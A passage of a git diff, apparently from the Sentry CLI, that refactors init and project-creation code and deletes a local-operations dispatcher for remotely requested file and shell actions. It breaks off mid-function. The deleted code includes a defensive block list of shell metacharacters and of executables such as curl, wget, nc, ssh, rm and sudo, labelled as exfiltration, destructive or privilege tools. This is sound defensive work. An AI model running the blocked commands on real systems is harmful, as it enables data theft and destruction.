diff --git a/src/commands/init.ts b/src/commands/init.ts index 4611123f1..7012850df 100644 --- a/src/commands/init.ts +++ b/src/commands/init.ts @@ -23,7 +23,7 @@ import { findProjectsBySlug } from "../lib/api/projects.js"; import { looksLikePath, parseOrgProjectArg } from "../lib/arg-parsing.js"; import { buildCommand } from "../lib/command.js"; import { ContextError, ValidationError } from "../lib/errors.js"; -import { warmOrgDetection } from "../lib/init/prefetch.js"; +import { warmOrgDetection } from "../lib/init/org-prefetch.js"; import { runWizard } from "../lib/init/wizard-runner.js"; import { validateResourceId } from "../lib/input-validation.js"; import { logger } from "../lib/logger.js"; @@ -104,7 +104,7 @@ function classifyArgs( * * For `project-search` (bare slug), searches for an existing project first. * If not found, treats the slug as a **new project name** to create — - * org will be resolved later by the wizard's `resolveOrgSlug()`. + * org will be resolved later by init preflight before the workflow starts. * If the slug matches an org name, treats it as org-only (like `slug/`). */ async function resolveTarget(targetArg: string | undefined): Promise<{ @@ -154,7 +154,7 @@ async function resolveTarget(targetArg: string | undefined): Promise<{ } // Truly not found — treat as the name for a new project to create. - // Org will be resolved later by the wizard via resolveOrgSlug(). + // Org will be resolved later by init preflight before the workflow starts. log.info( `No existing project "${parsed.projectSlug}" found — will create a new project with this name.` ); diff --git a/src/commands/project/create.ts b/src/commands/project/create.ts index 4d010d680..cfc1e2e4e 100644 --- a/src/commands/project/create.ts +++ b/src/commands/project/create.ts @@ -49,7 +49,7 @@ import { import { resolveOrg } from "../../lib/resolve-target.js"; import { buildOrgNotFoundError, - type ResolvedTeam, + type ResolvedConcreteTeam, resolveOrCreateTeam, } from "../../lib/resolve-team.js"; import { slugify } from "../../lib/utils.js"; @@ -380,7 +380,7 @@ export const createCommand = buildCommand({ const orgSlug = resolved.org; // Resolve team — auto-creates a team if the org has none - const team: ResolvedTeam = await resolveOrCreateTeam(orgSlug, { + const team: ResolvedConcreteTeam = await resolveOrCreateTeam(orgSlug, { team: flags.team, detectedFrom: resolved.detectedFrom, usageHint: USAGE_HINT, diff --git a/src/lib/init/existing-project.ts b/src/lib/init/existing-project.ts new file mode 100644 index 000000000..63bf334ea --- /dev/null +++ b/src/lib/init/existing-project.ts @@ -0,0 +1,33 @@ +import { getProject, tryGetPrimaryDsn } from "../api-client.js"; +import { ApiError } from "../errors.js"; +import { buildProjectUrl } from "../sentry-urls.js"; +import type { ExistingProjectData } from "./types.js"; + +/** + * Fetch Sentry metadata for an existing project. + * + * Returns `null` when the project does not exist, while allowing other API + * errors to propagate so callers can decide whether the lookup is best-effort + * or should fail the current operation. + */ +export async function tryGetExistingProjectData( + orgSlug: string, + projectSlug: string +): Promise { + try { + const project = await getProject(orgSlug, projectSlug); + const dsn = await tryGetPrimaryDsn(orgSlug, project.slug); + return { + orgSlug, + projectSlug: project.slug, + projectId: project.id, + dsn: dsn ?? "", + url: buildProjectUrl(orgSlug, project.slug), + }; + } catch (error) { + if (error instanceof ApiError && error.status === 404) { + return null; + } + throw error; + } +} diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts index af2a26adb..52f39cddf 100644 --- a/src/lib/init/interactive.ts +++ b/src/lib/init/interactive.ts @@ -17,15 +17,15 @@ import { import { REQUIRED_FEATURE } from "./constants.js"; import type { ConfirmPayload, + InteractiveContext, InteractivePayload, MultiSelectPayload, SelectPayload, - WizardOptions, } from "./types.js"; export async function handleInteractive( payload: InteractivePayload, - options: WizardOptions + options: InteractiveContext ): Promise> { switch (payload.kind) { case "select": @@ -41,7 +41,7 @@ export async function handleInteractive( async function handleSelect( payload: SelectPayload, - options: WizardOptions + options: InteractiveContext ): Promise> { const apps = payload.apps ?? []; const items = payload.options ?? apps.map((a) => a.name); @@ -78,7 +78,7 @@ async function handleSelect( async function handleMultiSelect( payload: MultiSelectPayload, - options: WizardOptions + options: InteractiveContext ): Promise> { const available = payload.availableFeatures ?? payload.options ?? []; @@ -137,7 +137,7 @@ async function handleMultiSelect( async function handleConfirm( payload: ConfirmPayload, - options: WizardOptions + options: InteractiveContext ): Promise> { if (options.yes) { log.info("Auto-confirmed: continuing"); diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts deleted file mode 100644 index 41f920ff9..000000000 --- a/src/lib/init/local-ops.ts +++ /dev/null @@ -1,1587 +0,0 @@ -/** - * Local Operations Dispatcher - * - * Handles filesystem and shell operations requested by the remote workflow. - * All operations are sandboxed to the workflow's cwd directory. - */ - -import { spawn } from "node:child_process"; -import fs from "node:fs"; -import path from "node:path"; -import { isCancel, select } from "@clack/prompts"; -import { - createProjectWithDsn, - getProject, - listOrganizations, - tryGetPrimaryDsn, -} from "../api-client.js"; -import { ApiError } from "../errors.js"; -import { resolveOrCreateTeam } from "../resolve-team.js"; -import { buildProjectUrl } from "../sentry-urls.js"; -import { slugify } from "../utils.js"; -import { WizardCancelledError } from "./clack-utils.js"; -import { - DEFAULT_COMMAND_TIMEOUT_MS, - MAX_FILE_BYTES, - MAX_OUTPUT_BYTES, -} from "./constants.js"; -import { resolveOrgPrefetched } from "./prefetch.js"; -import { replace } from "./replacers.js"; -import type { - ApplyPatchsetPatch, - ApplyPatchsetPayload, - CreateSentryProjectPayload, - DirEntry, - FileExistsBatchPayload, - GlobPayload, - GrepPayload, - ListDirPayload, - LocalOpPayload, - LocalOpResult, - ReadFilesPayload, - RunCommandsPayload, - WizardOptions, -} from "./types.js"; - -/** Whitespace characters used for JSON indentation. */ -const Indenter = { - SPACE: " ", - TAB: "\t", -} as const; - -/** Describes the indentation style of a JSON file. */ -type JsonIndent = { - /** The whitespace character used for indentation. */ - replacer: (typeof Indenter)[keyof typeof Indenter]; - /** How many times the replacer is repeated per indent level. */ - length: number; -}; - -const DEFAULT_JSON_INDENT: JsonIndent = { - replacer: Indenter.SPACE, - length: 2, -}; - -/** Build the third argument for `JSON.stringify` from a `JsonIndent`. */ -function jsonIndentArg(indent: JsonIndent): string { - return indent.replacer.repeat(indent.length); -} - -/** - * Pretty-print a JSON string using the given indentation style. - * Returns the original string if it cannot be parsed as valid JSON. - */ -function prettyPrintJson(content: string, indent: JsonIndent): string { - try { - return `${JSON.stringify(JSON.parse(content), null, jsonIndentArg(indent))}\n`; - } catch { - return content; - } -} - -/** - * Patterns that indicate shell injection. Commands run via `spawn` (no shell), - * so these have no runtime effect — they are defense-in-depth against command - * chaining, piping, redirection, and command substitution. - * - * Characters that are harmless without a shell — quotes, braces, globs, - * parentheses, backslashes, bare `$`, `#` — are intentionally NOT blocked. - * They appear in legitimate package specifiers like - * `pip install sentry-sdk[django]` or version ranges with `*`. - * - * Ordering: multi-char operators (`&&`, `||`) before single-char prefixes - * (`&`, `|`) so the reported label describes what the user actually wrote. - */ -const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = - [ - { pattern: ";", label: "command chaining (;)" }, - { pattern: "&&", label: "command chaining (&&)" }, - { pattern: "||", label: "command chaining (||)" }, - { pattern: "|", label: "piping (|)" }, - { pattern: "&", label: "background execution (&)" }, - { pattern: "`", label: "command substitution (`)" }, - { pattern: "$(", label: "command substitution ($()" }, - { pattern: "\n", label: "newline" }, - { pattern: "\r", label: "carriage return" }, - { pattern: ">", label: "redirection (>)" }, - { pattern: "<", label: "redirection (<)" }, - ]; - -const WHITESPACE_RE = /\s+/; - -/** - * Executables that should never appear in a package install command. - */ -const BLOCKED_EXECUTABLES = new Set([ - // Destructive - "rm", - "rmdir", - "del", - // Network/exfil - "curl", - "wget", - "nc", - "ncat", - "netcat", - "socat", - "telnet", - "ftp", - // Privilege escalation - "sudo", - "su", - "doas", - // Permissions - "chmod", - "chown", - "chgrp", - // Process/system - "kill", - "killall", - "pkill", - "shutdown", - "reboot", - "halt", - "poweroff", - // Disk - "dd", - "mkfs", - "fdisk", - "mount", - "umount", - // Remote access - "ssh", - "scp", - "sftp", - // Shells - "bash", - "sh", - "zsh", - "fish", - "csh", - "dash", - // Misc dangerous - "eval", - "exec", - "env", - "xargs", -]); - -/** - * Validate a command before execution. - * Returns an error message if the command is unsafe, or undefined if it's OK. - */ -export function validateCommand(command: string): string | undefined { - // Layer 1: Block shell metacharacters - for (const { pattern, label } of SHELL_METACHARACTER_PATTERNS) { - if (command.includes(pattern)) { - return `Blocked command: contains ${label} — "${command}"`; - } - } - - // Layer 2: Block environment variable injection (VAR=value cmd) - const firstToken = command.trimStart().split(WHITESPACE_RE)[0]; - if (!firstToken) { - return "Blocked command: empty command"; - } - if (firstToken.includes("=")) { - return `Blocked command: contains environment variable assignment — "${command}"`; - } - - // Layer 3: Block dangerous executables (first token only). - // NOTE: This only checks the primary executable (e.g. "npm"), not - // subcommands. A command like "npm exec -- rm -rf /" passes because - // "npm" is the first token. Comprehensive subcommand parsing across - // package managers is not implemented — commands originate from the - // Sentry API server, and Layer 1 already blocks most injection patterns. - const executable = path.basename(firstToken); - if (BLOCKED_EXECUTABLES.has(executable)) { - return `Blocked command: disallowed executable "${executable}" — "${command}"`; - } - - return; -} - -/** - * Resolve a path relative to cwd and verify it's inside cwd. - * Rejects path traversal attempts and symlinks that escape the project directory. - */ -function safePath(cwd: string, relative: string): string { - const resolved = path.resolve(cwd, relative); - const normalizedCwd = path.resolve(cwd); - if ( - !resolved.startsWith(normalizedCwd + path.sep) && - resolved !== normalizedCwd - ) { - throw new Error(`Path "${relative}" resolves outside project directory`); - } - - // Follow symlinks: verify the real path also stays within bounds. - // Resolve cwd through realpathSync too (e.g. macOS /tmp -> /private/tmp). - let realCwd: string; - try { - realCwd = fs.realpathSync(normalizedCwd); - } catch { - // cwd doesn't exist yet — no symlinks to follow - return resolved; - } - - // For paths that don't exist yet (create ops), walk up to the nearest - // existing ancestor and check that instead. - let checkPath = resolved; - for (;;) { - try { - const real = fs.realpathSync(checkPath); - if (!real.startsWith(realCwd + path.sep) && real !== realCwd) { - throw new Error( - `Path "${relative}" resolves outside project directory via symlink` - ); - } - break; - } catch (err) { - if ((err as NodeJS.ErrnoException).code !== "ENOENT") { - throw err; - } - const parent = path.dirname(checkPath); - if (parent === checkPath) { - break; // filesystem root - } - checkPath = parent; - } - } - - return resolved; -} - -/** - * Pre-compute directory listing before the first API call. - * Uses the same parameters the server's discover-context step would request. - */ -export async function precomputeDirListing( - directory: string -): Promise { - const result = await listDir({ - type: "local-op", - operation: "list-dir", - cwd: directory, - params: { path: ".", recursive: true, maxDepth: 3, maxEntries: 500 }, - }); - return (result.data as { entries?: DirEntry[] })?.entries ?? []; -} - -/** - * Common config file names that are frequently requested by multiple workflow - * steps (discover-context, detect-platform, plan-codemods). Pre-reading them - * eliminates 1-3 suspend/resume round-trips. - */ -const COMMON_CONFIG_FILES = [ - // ── Manifests (all ecosystems) ── - "package.json", - "tsconfig.json", - "pyproject.toml", - "requirements.txt", - "requirements-dev.txt", - "setup.py", - "setup.cfg", - "Pipfile", - "Gemfile", - "Gemfile.lock", - "go.mod", - "build.gradle", - "build.gradle.kts", - "settings.gradle", - "settings.gradle.kts", - "pom.xml", - "Cargo.toml", - "pubspec.yaml", - "mix.exs", - "composer.json", - "Podfile", - "CMakeLists.txt", - - // ── JavaScript/TypeScript framework configs ── - "next.config.js", - "next.config.mjs", - "next.config.ts", - "nuxt.config.ts", - "nuxt.config.js", - "angular.json", - "astro.config.mjs", - "astro.config.ts", - "svelte.config.js", - "remix.config.js", - "vite.config.ts", - "vite.config.js", - "webpack.config.js", - "metro.config.js", - "app.json", - "electron-builder.yml", - "wrangler.toml", - "wrangler.jsonc", - "serverless.yml", - "serverless.ts", - "bunfig.toml", - - // ── Python entry points / framework markers ── - "manage.py", - "app.py", - "main.py", - - // ── PHP framework markers ── - "artisan", - "symfony.lock", - "wp-config.php", - "config/packages/sentry.yaml", - - // ── .NET ── - "appsettings.json", - "Program.cs", - "Startup.cs", - - // ── Java / Android ── - "app/build.gradle", - "app/build.gradle.kts", - "src/main/resources/application.properties", - "src/main/resources/application.yml", - - // ── Ruby (Rails) ── - "config/application.rb", - - // ── Go entry point ── - "main.go", - - // ── Sentry configs (all ecosystems) ── - "sentry.client.config.ts", - "sentry.client.config.js", - "sentry.server.config.ts", - "sentry.server.config.js", - "sentry.edge.config.ts", - "sentry.edge.config.js", - "sentry.properties", - "instrumentation.ts", - "instrumentation.js", -]; - -const MAX_PREREAD_TOTAL_BYTES = 512 * 1024; - -/** - * Pre-read common config files that exist in the directory listing. - * Returns a fileCache map (path -> content or null) that the server - * can use to skip read-files suspend/resume round-trips. - */ -export async function preReadCommonFiles( - directory: string, - dirListing: DirEntry[] -): Promise> { - const listingPaths = new Set( - dirListing.map((e) => e.path.replaceAll("\\", "/")) - ); - const toRead = COMMON_CONFIG_FILES.filter((f) => listingPaths.has(f)); - - const cache: Record = {}; - let totalBytes = 0; - - for (const filePath of toRead) { - if (totalBytes >= MAX_PREREAD_TOTAL_BYTES) { - break; - } - try { - const absPath = path.join(directory, filePath); - const stat = await fs.promises.stat(absPath); - if (stat.size > MAX_FILE_BYTES) { - continue; - } - const content = await fs.promises.readFile(absPath, "utf-8"); - if (totalBytes + content.length <= MAX_PREREAD_TOTAL_BYTES) { - cache[filePath] = content; - totalBytes += content.length; - } - } catch { - cache[filePath] = null; - } - } - - return cache; -} - -export async function handleLocalOp( - payload: LocalOpPayload, - options: WizardOptions -): Promise { - try { - // Validate that the remote-supplied cwd is within the user's project directory - const normalizedCwd = path.resolve(payload.cwd); - const normalizedDir = path.resolve(options.directory); - if ( - normalizedCwd !== normalizedDir && - !normalizedCwd.startsWith(normalizedDir + path.sep) - ) { - return { - ok: false, - error: `Blocked: cwd "${payload.cwd}" is outside project directory "${options.directory}"`, - }; - } - - switch (payload.operation) { - case "list-dir": - return await listDir(payload); - case "read-files": - return await readFiles(payload); - case "file-exists-batch": - return await fileExistsBatch(payload); - case "run-commands": - return await runCommands(payload, options.dryRun); - case "apply-patchset": - return await applyPatchset(payload, options.dryRun, options.authToken); - case "grep": - return await grep(payload); - case "glob": - return await glob(payload); - case "create-sentry-project": - return await createSentryProject(payload, options); - case "detect-sentry": - return await precomputeSentryDetection(payload.cwd); - default: - return { - ok: false, - error: `Unknown operation: ${ - // biome-ignore lint/suspicious/noExplicitAny: payload is of type LocalOpPayload - (payload as any).operation - }`, - }; - } - } catch (error) { - return { - ok: false, - error: error instanceof Error ? error.message : String(error), - }; - } -} - -async function listDir(payload: ListDirPayload): Promise { - const { cwd, params } = payload; - const targetPath = safePath(cwd, params.path); - const maxDepth = params.maxDepth ?? 3; - const maxEntries = params.maxEntries ?? 500; - const recursive = params.recursive ?? false; - - const entries: DirEntry[] = []; - - // biome-ignore lint/complexity/noExcessiveCognitiveComplexity: recursive directory walk is inherently complex but straightforward - async function walk(dir: string, depth: number): Promise { - if (entries.length >= maxEntries || depth > maxDepth) { - return; - } - - let dirEntries: fs.Dirent[]; - try { - dirEntries = await fs.promises.readdir(dir, { withFileTypes: true }); - } catch { - return; - } - - for (const entry of dirEntries) { - if (entries.length >= maxEntries) { - return; - } - - const relPath = path.relative(cwd, path.join(dir, entry.name)); - - // Skip symlinks that escape the project directory - if (entry.isSymbolicLink()) { - try { - safePath(cwd, relPath); - } catch { - continue; - } - } - - const type = entry.isDirectory() ? "directory" : "file"; - entries.push({ name: entry.name, path: relPath, type }); - - if ( - recursive && - entry.isDirectory() && - !entry.isSymbolicLink() && - !entry.name.startsWith(".") && - entry.name !== "node_modules" - ) { - await walk(path.join(dir, entry.name), depth + 1); - } - } - } - - await walk(targetPath, 0); - return { ok: true, data: { entries } }; -} - -async function readSingleFile( - cwd: string, - filePath: string, - maxBytes: number -): Promise { - try { - const absPath = safePath(cwd, filePath); - const stat = await fs.promises.stat(absPath); - let content: string; - if (stat.size > maxBytes) { - const fh = await fs.promises.open(absPath, "r"); - try { - const buffer = Buffer.alloc(maxBytes); - await fh.read(buffer, 0, maxBytes, 0); - content = buffer.toString("utf-8"); - } finally { - await fh.close(); - } - } else { - content = await fs.promises.readFile(absPath, "utf-8"); - } - - return content; - } catch { - return null; - } -} - -async function readFiles(payload: ReadFilesPayload): Promise { - const { cwd, params } = payload; - const maxBytes = params.maxBytes ?? MAX_FILE_BYTES; - - const results = await Promise.all( - params.paths.map(async (filePath) => { - const content = await readSingleFile(cwd, filePath, maxBytes); - return [filePath, content] as const; - }) - ); - - const files: Record = {}; - for (const [filePath, content] of results) { - files[filePath] = content; - } - - return { ok: true, data: { files } }; -} - -async function fileExistsBatch( - payload: FileExistsBatchPayload -): Promise { - const { cwd, params } = payload; - - const results = await Promise.all( - params.paths.map(async (filePath) => { - try { - const absPath = safePath(cwd, filePath); - await fs.promises.access(absPath); - return [filePath, true] as const; - } catch { - return [filePath, false] as const; - } - }) - ); - - const exists: Record = {}; - for (const [filePath, found] of results) { - exists[filePath] = found; - } - - return { ok: true, data: { exists } }; -} - -async function runCommands( - payload: RunCommandsPayload, - dryRun?: boolean -): Promise { - const { cwd, params } = payload; - const timeoutMs = params.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS; - - // Phase 1: Validate ALL commands upfront (including dry-run) - for (const command of params.commands) { - const validationError = validateCommand(command); - if (validationError) { - return { ok: false, error: validationError }; - } - } - - // Phase 2: Execute (skip in dry-run) - const results: Array<{ - command: string; - exitCode: number; - stdout: string; - stderr: string; - }> = []; - - for (const command of params.commands) { - if (dryRun) { - results.push({ - command, - exitCode: 0, - stdout: "(dry-run: skipped)", - stderr: "", - }); - continue; - } - - const result = await runSingleCommand(command, cwd, timeoutMs); - results.push(result); - if (result.exitCode !== 0) { - return { - ok: false, - error: `Command "${command}" failed with exit code ${result.exitCode}: ${result.stderr}`, - data: { results }, - }; - } - } - - return { ok: true, data: { results } }; -} - -// Runs the executable directly (no shell) to eliminate shell injection as an -// attack vector. The command string is split on whitespace into [exe, ...args]. -// validateCommand() still blocks metacharacters as defense-in-depth. -function runSingleCommand( - command: string, - cwd: string, - timeoutMs: number -): Promise<{ - command: string; - exitCode: number; - stdout: string; - stderr: string; -}> { - return new Promise((resolve) => { - const [executable = "", ...args] = command.trim().split(WHITESPACE_RE); - const child = spawn(executable, args, { - cwd, - stdio: ["ignore", "pipe", "pipe"], - timeout: timeoutMs, - }); - - const stdoutChunks: Buffer[] = []; - const stderrChunks: Buffer[] = []; - let stdoutLen = 0; - let stderrLen = 0; - - child.stdout.on("data", (chunk: Buffer) => { - if (stdoutLen < MAX_OUTPUT_BYTES) { - stdoutChunks.push(chunk); - stdoutLen += chunk.length; - } - }); - - child.stderr.on("data", (chunk: Buffer) => { - if (stderrLen < MAX_OUTPUT_BYTES) { - stderrChunks.push(chunk); - stderrLen += chunk.length; - } - }); - - child.on("error", (err) => { - resolve({ - command, - exitCode: 1, - stdout: "", - stderr: err.message, - }); - }); - - child.on("close", (code) => { - const stdout = Buffer.concat(stdoutChunks) - .toString("utf-8") - .slice(0, MAX_OUTPUT_BYTES); - const stderr = Buffer.concat(stderrChunks) - .toString("utf-8") - .slice(0, MAX_OUTPUT_BYTES); - resolve({ command, exitCode: code ?? 1, stdout, stderr }); - }); - }); -} - -function applyPatchsetDryRun(payload: ApplyPatchsetPayload): LocalOpResult { - const { cwd, params } = payload; - const applied: Array<{ path: string; action: string }> = []; - - for (const patch of params.patches) { - safePath(cwd, patch.path); - if (!["create", "modify", "delete"].includes(patch.action)) { - return { - ok: false, - error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, - }; - } - applied.push({ path: patch.path, action: patch.action }); - } - - return { ok: true, data: { applied } }; -} - -/** Pattern matching empty or placeholder SENTRY_AUTH_TOKEN values in env files. - * Uses [ \t] (horizontal whitespace) instead of \s to avoid consuming newlines. */ -const EMPTY_AUTH_TOKEN_RE = - /^(SENTRY_AUTH_TOKEN[ \t]*=[ \t]*)(?:['"]?[ \t]*['"]?)?[ \t]*$/m; - -/** - * Resolve the final file content for a full-content patch (create only), - * pretty-printing JSON files to preserve readable formatting, and injecting - * the auth token into env files when the server left it empty. - */ -function resolvePatchContent( - patch: { path: string; patch: string }, - authToken?: string -): string { - let content = patch.path.endsWith(".json") - ? prettyPrintJson(patch.patch, DEFAULT_JSON_INDENT) - : patch.patch; - - // Inject the auth token into env files when the AI left the value empty. - // The server never has access to the user's token, so it generates - // SENTRY_AUTH_TOKEN= (empty). We fill it in client-side. - if (authToken && isEnvFile(patch.path) && EMPTY_AUTH_TOKEN_RE.test(content)) { - content = content.replace( - EMPTY_AUTH_TOKEN_RE, - (_, prefix) => `${prefix}${authToken}` - ); - } - - return content; -} - -/** Returns true if the file path looks like a .env file. */ -function isEnvFile(filePath: string): boolean { - const name = filePath.split("/").pop() ?? ""; - return name === ".env" || name.startsWith(".env."); -} - -const VALID_PATCH_ACTIONS = new Set(["create", "modify", "delete"]); - -/** - * Apply edits (oldString/newString pairs) to a file using fuzzy matching. - * Edits are applied sequentially — each edit operates on the result of the - * previous one. Returns the final file content. - */ -async function applyEdits( - absPath: string, - filePath: string, - edits: Array<{ oldString: string; newString: string }> -): Promise { - let content = await fs.promises.readFile(absPath, "utf-8"); - - for (let i = 0; i < edits.length; i++) { - const edit = edits[i] as (typeof edits)[number]; - try { - content = replace(content, edit.oldString, edit.newString); - } catch (err) { - throw new Error( - `Edit #${i + 1} failed on "${filePath}": ${err instanceof Error ? err.message : String(err)}` - ); - } - } - - return content; -} - -async function applySinglePatch( - absPath: string, - patch: ApplyPatchsetPatch, - authToken?: string -): Promise { - switch (patch.action) { - case "create": { - await fs.promises.mkdir(path.dirname(absPath), { recursive: true }); - const content = resolvePatchContent( - patch as ApplyPatchsetPatch & { patch: string }, - authToken - ); - await fs.promises.writeFile(absPath, content, "utf-8"); - break; - } - case "modify": { - const content = await applyEdits(absPath, patch.path, patch.edits); - await fs.promises.writeFile(absPath, content, "utf-8"); - break; - } - case "delete": { - try { - await fs.promises.unlink(absPath); - } catch (err) { - if ((err as NodeJS.ErrnoException).code !== "ENOENT") { - throw err; - } - } - break; - } - default: - break; - } -} - -async function applyPatchset( - payload: ApplyPatchsetPayload, - dryRun?: boolean, - authToken?: string -): Promise { - if (dryRun) { - return applyPatchsetDryRun(payload); - } - - const { cwd, params } = payload; - - // Phase 1: Validate all paths and actions before writing anything - for (const patch of params.patches) { - safePath(cwd, patch.path); - if (!VALID_PATCH_ACTIONS.has(patch.action)) { - return { - ok: false, - error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, - }; - } - } - - // Phase 2: Apply patches (sequential — later patches may depend on earlier creates) - const applied: Array<{ path: string; action: string }> = []; - - for (const patch of params.patches) { - const absPath = safePath(cwd, patch.path); - - if (patch.action === "modify") { - try { - await fs.promises.access(absPath); - } catch { - return { - ok: false, - error: `Cannot modify "${patch.path}": file does not exist`, - data: { applied }, - }; - } - } - - await applySinglePatch(absPath, patch, authToken); - applied.push({ path: patch.path, action: patch.action }); - } - - return { ok: true, data: { applied } }; -} - -/** Matches a bare numeric org ID extracted from a DSN (e.g. "4507492088676352"). */ -const NUMERIC_ORG_ID_RE = /^\d+$/; - -/** - * Resolve the org slug using the shared offline-first resolver, falling back - * to interactive selection when multiple orgs are available. - * - * Uses the prefetch-aware helper from `./prefetch.ts` — if - * {@link warmOrgDetection} was called earlier (by `init.ts`), the result is - * already cached and returns near-instantly. - * - * Resolution priority (via `resolveOrg`): - * 1. CLI `--org` flag - * 2. `SENTRY_ORG` / `SENTRY_PROJECT` env vars - * 3. Config defaults (SQLite) - * 4. DSN auto-detection (with numeric ID normalization) - * - * If none of the above resolve, lists the user's organizations (SQLite-cached - * after `sentry login`) and prompts for selection. - * - * @returns The org slug on success, or a {@link LocalOpResult} error to return early. - */ -export async function resolveOrgSlug( - cwd: string, - yes: boolean -): Promise { - // normalizeNumericOrg inside resolveOrg may return a raw numeric ID when - // the cache is cold and the API refresh fails. Numeric IDs break write - // operations (project/team creation), so fall through to the org picker. - const resolved = await resolveOrgPrefetched(cwd); - if (resolved && !NUMERIC_ORG_ID_RE.test(resolved.org)) { - return resolved.org; - } - - // Fallback: list user's organizations (SQLite-cached after login/first call) - const orgs = await listOrganizations(); - if (orgs.length === 0) { - return { - ok: false, - error: "Not authenticated. Run 'sentry login' first.", - }; - } - if (orgs.length === 1 && orgs[0]) { - return orgs[0].slug; - } - - // Multiple orgs — interactive selection - if (yes) { - const slugs = orgs.map((o) => o.slug).join(", "); - return { - ok: false, - error: `Multiple organizations found (${slugs}). Set SENTRY_ORG to specify which one.`, - }; - } - const selected = await select({ - message: "Which organization should the project be created in?", - options: orgs.map((o) => ({ - value: o.slug, - label: o.name, - hint: o.slug, - })), - }); - if (isCancel(selected)) { - throw new WizardCancelledError(); - } - return selected; -} - -/** - * Try to fetch an existing project by org + slug. Returns a successful - * LocalOpResult if the project exists, or null if it doesn't (404). - * Other errors are left to propagate. - */ -export async function tryGetExistingProject( - orgSlug: string, - projectSlug: string -): Promise { - try { - const project = await getProject(orgSlug, projectSlug); - const dsn = await tryGetPrimaryDsn(orgSlug, project.slug); - const url = buildProjectUrl(orgSlug, project.slug); - return { - ok: true, - data: { - orgSlug, - projectSlug: project.slug, - projectId: project.id, - dsn: dsn ?? "", - url, - }, - }; - } catch (error) { - // 404 means project doesn't exist — fall through to creation - if (error instanceof ApiError && error.status === 404) { - return null; - } - throw error; - } -} - -/** - * Detect an existing Sentry project by looking for a DSN in the project. - * - * Returns org and project slugs when the DSN's project can be resolved — - * either from the local cache or via API (when the org is accessible). - * Returns null when no DSN is found or the org belongs to a different account. - */ -export async function detectExistingProject(cwd: string): Promise<{ - orgSlug: string; - projectSlug: string; -} | null> { - const { detectDsn } = await import("../dsn/index.js"); - const dsn = await detectDsn(cwd); - if (!dsn?.publicKey) { - return null; - } - - try { - const { resolveDsnByPublicKey } = await import("../resolve-target.js"); - const resolved = await resolveDsnByPublicKey(dsn); - if (resolved) { - return { orgSlug: resolved.org, projectSlug: resolved.project }; - } - } catch { - // Auth error or network error — org inaccessible, fall through to creation - } - return null; -} - -/** - * Detect existing Sentry setup in a directory. Exported so wizard-runner - * can pre-compute this alongside dirListing before the workflow starts, - * eliminating a suspend/resume roundtrip. - */ -export async function precomputeSentryDetection( - cwd: string -): Promise { - const { detectDsn } = await import("../dsn/index.js"); - const dsn = await detectDsn(cwd); - - if (!dsn) { - return { ok: true, data: { status: "none", signals: [] } }; - } - - const signals = [ - `dsn: ${dsn.source}${dsn.sourcePath ? ` (${dsn.sourcePath})` : ""}`, - ]; - - return { - ok: true, - data: { status: "installed", signals, dsn: dsn.raw }, - }; -} - -// ── Grep & Glob ───────────────────────────────────────────────────── - -const MAX_GREP_RESULTS_PER_SEARCH = 100; -const MAX_GREP_LINE_LENGTH = 2000; -const MAX_GLOB_RESULTS = 100; -const SKIP_DIRS = new Set([ - "node_modules", - ".git", - "__pycache__", - ".venv", - "venv", - "dist", - "build", -]); - -type GrepMatch = { path: string; lineNum: number; line: string }; - -// ── Ripgrep implementations (preferred when rg is on PATH) ────────── - -/** - * Spawn a command, collect stdout + stderr, reject on spawn errors (ENOENT). - * Drains both streams to prevent pipe buffer deadlocks. - */ -function spawnCollect( - cmd: string, - args: string[], - cwd: string -): Promise<{ stdout: string; stderr: string; exitCode: number }> { - return new Promise((resolve, reject) => { - const child = spawn(cmd, args, { - cwd, - stdio: ["ignore", "pipe", "pipe"], - timeout: 30_000, - }); - - const outChunks: Buffer[] = []; - let outLen = 0; - child.stdout.on("data", (chunk: Buffer) => { - if (outLen < MAX_OUTPUT_BYTES) { - outChunks.push(chunk); - outLen += chunk.length; - } - }); - - const errChunks: Buffer[] = []; - child.stderr.on("data", (chunk: Buffer) => { - if (errChunks.length < 64) { - errChunks.push(chunk); - } - }); - - child.on("error", (err) => { - reject(err); - }); - child.on("close", (code, signal) => { - if (signal) { - reject(new Error(`Process killed by ${signal} (timeout)`)); - return; - } - resolve({ - stdout: Buffer.concat(outChunks).toString("utf-8"), - stderr: Buffer.concat(errChunks).toString("utf-8"), - exitCode: code ?? 1, - }); - }); - }); -} - -/** - * Parse ripgrep output using `|` as field separator (set via - * `--field-match-separator=|`) to avoid ambiguity with `:` in - * Windows drive-letter paths. - * Format: filepath|linenum|matched text - */ -function parseRgGrepOutput( - cwd: string, - stdout: string, - maxResults: number -): { matches: GrepMatch[]; truncated: boolean } { - const lines = stdout.split("\n").filter(Boolean); - const truncated = lines.length > maxResults; - const matches: GrepMatch[] = []; - - for (const line of lines.slice(0, maxResults)) { - const firstSep = line.indexOf("|"); - if (firstSep === -1) { - continue; - } - const filePart = line.substring(0, firstSep); - const rest = line.substring(firstSep + 1); - const secondSep = rest.indexOf("|"); - if (secondSep === -1) { - continue; - } - const lineNum = Number.parseInt(rest.substring(0, secondSep), 10); - let text = rest.substring(secondSep + 1); - if (text.length > MAX_GREP_LINE_LENGTH) { - text = `${text.substring(0, MAX_GREP_LINE_LENGTH)}…`; - } - matches.push({ path: path.relative(cwd, filePart), lineNum, line: text }); - } - - return { matches, truncated }; -} - -async function rgGrepSearch(opts: { - cwd: string; - pattern: string; - target: string; - include: string | undefined; - maxResults: number; -}): Promise<{ matches: GrepMatch[]; truncated: boolean }> { - const { cwd, pattern, target, include, maxResults } = opts; - const args = [ - "-nH", - "--no-messages", - "--hidden", - "--field-match-separator=|", - "--regexp", - pattern, - ]; - if (include) { - args.push("--glob", include); - } - args.push(target); - - const { stdout, exitCode } = await spawnCollect("rg", args, cwd); - - if (exitCode === 1 || (exitCode === 2 && !stdout.trim())) { - return { matches: [], truncated: false }; - } - if (exitCode !== 0 && exitCode !== 2) { - throw new Error(`ripgrep failed with exit code ${exitCode}`); - } - - return parseRgGrepOutput(cwd, stdout, maxResults); -} - -async function rgGlobSearch(opts: { - cwd: string; - pattern: string; - target: string; - maxResults: number; -}): Promise<{ files: string[]; truncated: boolean }> { - const { cwd, pattern, 